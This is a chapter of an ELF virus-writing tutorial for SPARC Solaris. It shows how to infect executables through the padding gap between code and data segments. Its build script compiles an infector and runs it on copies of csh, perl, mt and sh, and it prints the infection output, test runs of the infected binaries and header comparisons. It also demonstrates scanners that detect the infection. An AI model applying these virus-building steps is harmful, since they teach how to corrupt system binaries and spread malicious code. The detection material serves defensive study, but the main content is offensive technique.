The ELF Virus Writing HOWTO: sparc-sunos5.7 | ||
---|---|---|
Prev |
Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force. | |
Darth Vader |
Another interesting thing in the output of Bashful glance is the distance between the two LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x4e104 - 0x10000 - 0x2e102 = 0x10002 = 65538 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x2e104 - 0x0 - 0x2e102 = 0x2 = 2 bytes
Only 2 bytes (0x2) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.
Output: out/sparc-sunos5.7/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096 |
The next step is to verify the existence of this gap in a typical population of executables. Scan segment padding is platform independent, but the its output is just below. The first test is with typical places like /bin. Note that only the last few lines of output are shown.
Output: out/sparc-sunos5.7/scanner/dist_big
files=0731; det_page=0000; det_align=0000; min=0x00010000; max=0x00010003 |
On this installation at least 731 files are possible targets. So on to all infected executables created from the sources of this document. Again only the last few lines of output is shown. It's enough to see that all infected files are detected.
Output: out/sparc-sunos5.7/scanner/dist_small
one_step_closer/e1i1/csh_infected addr=000424b8 dist=0000f002
one_step_closer/e1i1/perl_infected addr=001074b8 dist=0000f000
one_step_closer/e1i1/mt_infected addr=00021794 dist=0000f000
one_step_closer/e1i1/sh_infected addr=0004e104 dist=0000f002
one_step_closer/e1i1/strip_sh_infected addr=0004e104 dist=0000f002
files=0005; det_page=0000; det_align=0005; min=0x0000f000; max=0x0000f002 |
We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.
Command: pre/sparc-sunos5.7/one_step_closer/cc.sh
#!/usr/xpg4/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
main=${4}
/usr/local/bin/gcc -O1 -I out/sparc-sunos5.7 -D NDEBUG -g \
-I ./src/one_step_closer/${entry_addr} \
-I out/sparc-sunos5.7/${project}/${infection} \
-o tmp/sparc-sunos5.7/${project}/${entry_addr}${infection}/infector \
${main} \
&& cd tmp/sparc-sunos5.7/${project}/${entry_addr}${infection} \
&& ./infector /usr/bin/csh /usr/bin/perl /usr/bin/mt /usr/xpg4/bin/sh |
Output: out/sparc-sunos5.7/one_step_closer/e1i1/cc
Infecting copy of /usr/bin/csh... wrote 76 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 76 bytes, Ok
Infecting copy of /usr/bin/mt... wrote 76 bytes, Ok
Infecting copy of /usr/xpg4/bin/sh... wrote 76 bytes, Ok
4 infected, 0 failed |
A simple shell script will do as test.
Output = Command: out/sparc-sunos5.7/one_step_closer/test-e1i1.sh
#!tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected
echo $_
echo $BASH_VERSION
tmp/sparc-sunos5.7/one_step_closer/e1i1/mt_infected
tmp/sparc-sunos5.7/one_step_closer/e1i1/csh_infected -fc 'echo $version'
tmp/sparc-sunos5.7/one_step_closer/e1i1/perl_infected -v | head -2
echo "---"
cp tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected \
&& strip tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected \
&& tmp/sparc-sunos5.7/one_step_closer/e1i1/strip_sh_infected --version |
Output: out/sparc-sunos5.7/one_step_closer/test-e1i1
ELF/usr/xpg4/bin/make
ELFusage: mt [ -f device ] command [ count ]
ELFversion: Undefined variable
ELF
This is perl, v5.8.0 built for sun4-solaris
---
BFD: tmp/sparc-sunos5.7/one_step_closer/e1i1/stA.aOvm: warning: allocated section `.interp' not in segment
out/sparc-sunos5.7/one_step_closer/test-e1i1.sh[10]: 6318 Killed |
The Force is strong with this one. [1]
After emotions cooled down a bit we can examine the infected executable and compare it with the original.
Command: pre/sparc-sunos5.7/segment_padding/readelf.sh
#!/usr/xpg4/bin/sh
cd tmp/sparc-sunos5.7/one_step_closer/e1i1 \
&& /usr/xpg4/bin/ls -l sh_infected \
&& /usr/local/bin/readelf -l sh_infected |
Output: out/sparc-sunos5.7/segment_padding/readelf
-rwxr-xr-x 1 alba alba 196860 Oct 23 01:57 sh_infected
Elf file type is EXEC (Executable file)
Entry point 0x3e110
There are 5 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0
INTERP 0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R 0
[Requesting program interpreter: /usr/lib/ld.so.1]
LOAD 0x000000 0x00010000 0x00000000 0x2f102 0x2f102 R E 0x10000
LOAD 0x02f104 0x0004e104 0x00000000 0x00b18 0x0201f RWE 0x10000
DYNAMIC 0x02f6e8 0x0004e6e8 0x00000000 0x000b8 0x00000 RWE 0
Section to Segment mapping:
Segment Sections...
00
01
02 .interp .hash .dynsym .dynstr .SUNW_version .rela.ex_shared .rela.data .rela.bss .rela.plt .text .init .fini .exception_ranges .rodata .rodata1
03 .got .plt .dynamic .ex_shared .data .data1 .bss
04 |
File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:
infected.file_size - sh.file_size = 196860 - 192764 = 4096 = 0x1000
infected.LOAD[1].Filesiz - sh.LOAD[1].Filesiz = 0x2f102 - 0x2e102 = 0x1000
infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x2f104 - 0x2e104 = 0x1000
infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x2f6e8 - 0x2e6e8 = 0x1000
The small output of Scan segment padding contains the executable from last chapter. But for clarity we repeat the exercise.
Command: pre/sparc-sunos5.7/segment_padding/scan_dist.sh
#!/usr/xpg4/bin/sh
TEVWH_TMP=tmp/sparc-sunos5.7
TEVWH_PAGESIZE=1000
TEVWH_ELF_ALIGN=10000
export TEVWH_TMP TEVWH_PAGESIZE TEVWH_ELF_ALIGN
/usr/local/bin/objdump -p \
/usr/xpg4/bin/sh \
tmp/sparc-sunos5.7/one_step_closer/e1i1/sh_infected \
| ./src/scanner/dist.pl |
Output: out/sparc-sunos5.7/segment_padding/scan
one_step_closer/e1i1/sh_infected addr=0004e104 dist=0000f002
files=0002; det_page=0000; det_align=0001; min=0x0000f002; max=0x00010002 |
This is like playing chess against oneself, and losing. Can't do much about it, though.
The value of Entry point changed dramatically. In the original it is in the first part of the file:
entry_point_m/additional.cs.xml = 0x17560 - 0x10000 = 0x7560 = 30048 bytes.
The infected copy moved that to less than 1000 bytes from the end of the code segment.
entry_point_ofs = 0x3e110 - 0x10000 = 0x2e110 = 188688 bytes.
end_of_LOAD1 = 0x10000 + 0x2f102 = 0x3f102
entry_point_distance_to_end = 0x3f102 - 0x3e110 = 0xff2 = 4082
This alone is an easy vulnerability to scanners. But since Sections we know that for regular executables the entry point equals the start of section .text. We let the script in Scan entry point loose on all infected executables produced from the sources of this document. Only a few are detected. Which means there is cure against this vulnerability (just read on).
Output: out/sparc-sunos5.7/scanner/entry_point_small
one_step_closer/e1i1/csh_infected ep=0x000324c0 sot=0x00018a28
one_step_closer/e1i1/perl_infected ep=0x000f74c0 sot=0x00024440
one_step_closer/e1i1/mt_infected ep=0x000117a0 sot=0x00010a90
one_step_closer/e1i1/sh_infected ep=0x0003e110 sot=0x00017560
one_step_closer/e1i1/strip_sh_infected ep=0x0003e110 sot=0x00017560
files=0005; detected=0005 |
[1] | Ok, it is not strip-safe on SunOS. But I call that room for improvement. |